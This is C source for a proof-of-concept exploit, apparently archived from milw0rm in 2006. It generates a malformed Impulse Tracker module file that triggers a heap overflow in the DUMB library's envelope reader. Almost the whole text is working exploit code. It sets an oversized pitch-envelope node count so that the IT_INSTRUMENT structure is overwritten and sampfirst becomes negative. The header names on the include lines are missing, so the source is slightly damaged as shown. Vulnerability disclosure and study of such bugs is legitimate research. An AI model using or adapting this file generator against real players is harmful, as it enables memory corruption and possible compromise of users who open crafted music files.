/* by Luigi Auriemma */ #include #include #include #include #define VER "0.1" #define BOF 255 // 25 < BOF < 256 #define INSTRSZ 371 #define POCNAME "proof-of-concept" void fwi08(FILE *fd, int num); void fwi16(FILE *fd, int num); void fwi32(FILE *fd, int num); void fwb08(FILE *fd, int num); void fwb16(FILE *fd, int num); void fwb32(FILE *fd, int num); void fwstr(FILE *fd, uint8_t *str); void fwstx(FILE *fd, uint8_t *str, int size); void fwmem(FILE *fd, uint8_t *data, int size); int bits2num(uint8_t *bits); void std_err(void); #pragma pack(1) typedef struct { uint8_t sign[4]; // IMPM uint8_t name[26]; uint16_t PHiligt; uint16_t OrdNum; uint16_t InsNum; uint16_t SmpNum; uint16_t PatNum; uint16_t Cwtv; uint16_t Cmwt; uint16_t Flags; uint16_t Special; uint8_t GV; uint8_t MV; uint8_t IS; uint8_t IT; uint8_t Sep; uint8_t PWD; uint16_t MsgLgth; uint32_t MsgOff; uint32_t Reserved; } it_t; typedef struct { uint8_t Flg; uint8_t Num; uint8_t LpB; uint8_t LpE; uint8_t SLB; uint8_t SLE; // int8_t node_y[25]; // uint16_t node_t[25]; } it_env_t; typedef struct { uint8_t sign[4]; // IMPI uint8_t filename[13]; uint8_t NNA; uint8_t DCT; uint8_t DCA; uint16_t FadeOut; uint8_t PPS; uint8_t PPC; uint8_t GbV; uint8_t DfP; uint8_t RV; uint8_t RP; uint16_t TrkVers; uint16_t NoS; uint8_t insname[26]; uint8_t IFC; uint8_t IFR; uint8_t MCh; uint8_t MPr; uint16_t MIDIBnk; uint8_t nsample[120]; uint8_t ktable[120]; } it_ins_t; #pragma pack() int main(int argc, char *argv[]) { FILE *fd; it_t it; it_ins_t it_ins; it_env_t it_env; int i, off; char *fname; setbuf(stdout, NULL); fputs("\n" "Dumb <= 0.9.3 (CVS 16 Jul 2006) heap overflow in it_read_envelope "VER"\n" "by Luigi Auriemma\n" "e-mail: aluigi@autistici.org\n" "web: aluigi.org\n" "\n", stdout); if(argc < 2) { printf("\n" "Usage: %s \n" "\n" "Note: this proof-of-concept is not optimized, it gives only an idea of the bug\n" "\n", argv[0]); exit(1); } fname = argv[1]; printf("- create file %s\n", fname); fd = fopen(fname, "wb"); if(!fd) std_err(); memset(&it, 0, sizeof(it)); memcpy(it.sign, "IMPM", 4); strncpy(it.name, POCNAME, sizeof(it.name)); it.Cmwt = 0x200; it.OrdNum = 1; // required it.InsNum = 1; // envelope is read here off = sizeof(it) + 64 + 64 + (it.OrdNum * 1) + (it.InsNum * 4) + (it.SmpNum * 4) + (it.PatNum * 4); for(i = 0; i < off; i++) fputc(0, fd); // create needed space /* it_read_instrument */ memset(&it_ins, 0, sizeof(it_ins)); memcpy(it_ins.sign, "IMPI", 4); strncpy(it_ins.filename, POCNAME, sizeof(it_ins.filename)); strncpy(it_ins.insname, POCNAME, sizeof(it_ins.insname)); fwrite(&it_ins, sizeof(it_ins), 1, fd); /* it_read_envelope */ memset(&it_env, 0, sizeof(it_env)); /* instrument->volume_envelope */ it_env.Num = 25; fwrite(&it_env, sizeof(it_env), 1, fd); for(i = 0; i < it_env.Num; i++) { fwi08(fd, 0x61); // envelope->node_y[i] fwi16(fd, 0x6161); // envelope->node_t[i] } for(i = 75 - (it_env.Num * 3) + 1; i; i--) { fwi08(fd, 0); // 75 - envelope->n_nodes * 3 + 1 } /* instrument->pan_envelope */ it_env.Num = 25; fwrite(&it_env, sizeof(it_env), 1, fd); for(i = 0; i < it_env.Num; i++) { fwi08(fd, 0x62); // envelope->node_y[i] fwi16(fd, 0x6262); // envelope->node_t[i] } for(i = 75 - (it_env.Num * 3) + 1; i; i--) { fwi08(fd, 0); // 75 - envelope->n_nodes * 3 + 1 } /* instrument->pitch_envelope */ it_env.Num = BOF; fwrite(&it_env, sizeof(it_env), 1, fd); for(i = 0; i < it_env.Num; i++) { fwi08(fd, 0xff); // envelope->node_y[i] fwi16(fd, 0xffff); // envelope->node_t[i] } /* 0xff is used for overwriting sampfirst with a negative value! */ /* m = component[n].sampfirst; */ /* Note: this PoC is not optimized */ printf( "- the IT_INSTRUMENT structure will be overflowed:\n" " there are %d bytes from the end of pitch_envelope to the end of map_sample\n" " while %d bytes will be written by this proof-of-concept\n", INSTRSZ, ((BOF - 25) * sizeof(unsigned short)) + INSTRSZ); /* it_load_sigdata */ fseek(fd, 0, SEEK_SET); fwrite(&it, sizeof(it), 1, fd); for(i = 0; i < 64; i++) fwi08(fd, 0); // sigdata->channel_pan for(i = 0; i < 64; i++) fwi08(fd, 0); // sigdata->channel_volume for(i = 0; i < it.OrdNum; i++) { fwi08(fd, 255); // sigdata->order } // 255 for found_some = 0 or will SIGFPE for(i = 0; i < it.InsNum; i++) { fwi32(fd, off); // component[n_components].offset } // for(i = 0; i < it.SmpNum; i++) fwi32(fd, off); // for(i = 0; i < it.PatNum; i++) fwi32(fd, off); // for(i = 0; i < it.MsgLgth; i++) fwi08(fd, 'a'); fclose(fd); printf("- finished\n"); return(0); } void fwi08(FILE *fd, int num) { fputc((num ) & 0xff, fd); } void fwi16(FILE *fd, int num) { fputc((num ) & 0xff, fd); fputc((num >> 8) & 0xff, fd); } void fwi32(FILE *fd, int num) { fputc((num ) & 0xff, fd); fputc((num >> 8) & 0xff, fd); fputc((num >> 16) & 0xff, fd); fputc((num >> 24) & 0xff, fd); } void fwb08(FILE *fd, int num) { fputc((num ) & 0xff, fd); } void fwb16(FILE *fd, int num) { fputc((num >> 8) & 0xff, fd); fputc((num ) & 0xff, fd); } void fwb32(FILE *fd, int num) { fputc((num >> 24) & 0xff, fd); fputc((num >> 16) & 0xff, fd); fputc((num >> 8) & 0xff, fd); fputc((num ) & 0xff, fd); } void fwstr(FILE *fd, uint8_t *str) { fputs(str, fd); } void fwstx(FILE *fd, uint8_t *str, int size) { int i; for(i = 0; str[i] && (i < size); i++) { fputc(str[i], fd); } for(; i < size; i++) { fputc(0, fd); } } void fwmem(FILE *fd, uint8_t *data, int size) { fwrite(data, size, 1, fd); } int bits2num(uint8_t *bits) { int i, out = 0; for(i = 0; i < 32; i++) { if(bits[i] == '1') { out = (out << 1) | 1; } else if(bits[i] == '0') { out <<= 1; } else { break; } } return(out); } void std_err(void) { perror("\nError"); exit(1); } // milw0rm.com [2006-07-19]